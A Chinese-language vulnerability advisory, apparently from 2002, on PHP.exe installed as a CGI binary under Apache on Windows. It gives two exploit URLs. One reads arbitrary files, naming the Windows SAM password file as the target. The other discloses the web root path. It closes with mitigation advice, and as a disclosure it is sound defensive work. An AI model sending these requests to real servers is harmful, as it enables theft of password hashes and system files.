PHP.exe/apache web server漏洞

/ns/ld/softld/data/20020311145310.htm

涉及程序:
Windows,Apache web server

描述:
php.exe存在漏洞导致apache server暴露文件


详细:
在PHP的安装说明里面,如果在Windows环境下的Apache web server下安装PHP.exe,要求安装者在apache的"httpd.conf"配置文件中,插入以下行:

ScriptAlias /php/ "c:/php/"
AddType application/x-httpd-php .php
Action application/x-httpd-php "/php/php.exe"
这时,安全问题发生了。上述脚本将映射/php到web文件的根目录,当用户访问"http://www.example.com/php/"时,实际上是访问c:\php目录(必须输入/)。这时web server将返回"Access Denied", 但是如果输入:"http://www.example.com/php/php.exe" ,看到返回的将是"No input file specified"。这个错误是php.exe返回的。在这个设置下,可以通过以下方式发掘安全漏洞:

Exploit 1:
可以阅读服务器上的任意文件,不限驱动器:
"http://www.example.com/php/php.exe?c:\winnt\repair\sam"
PHP.EXE将解析sam文件并让用户下载(众所周知,sam文件保存着NT系统的口令信息)
"http://www.example.com/php/php.exe?d:\winnt\repair\sam"
这将返回D盘下的sam文件。

Exploit 2:
如果输入一个在php目录下存在的文件名,将返回web目录本地路径:
"http://www.example.com/php/php4ts.dll"
将返回:
" couldn't create child process: 22693: C:/php/php4ts.dll "




解决方案:
暂无

安全建议:
建议不要在NT环境下,apache web server下安装PHP.exe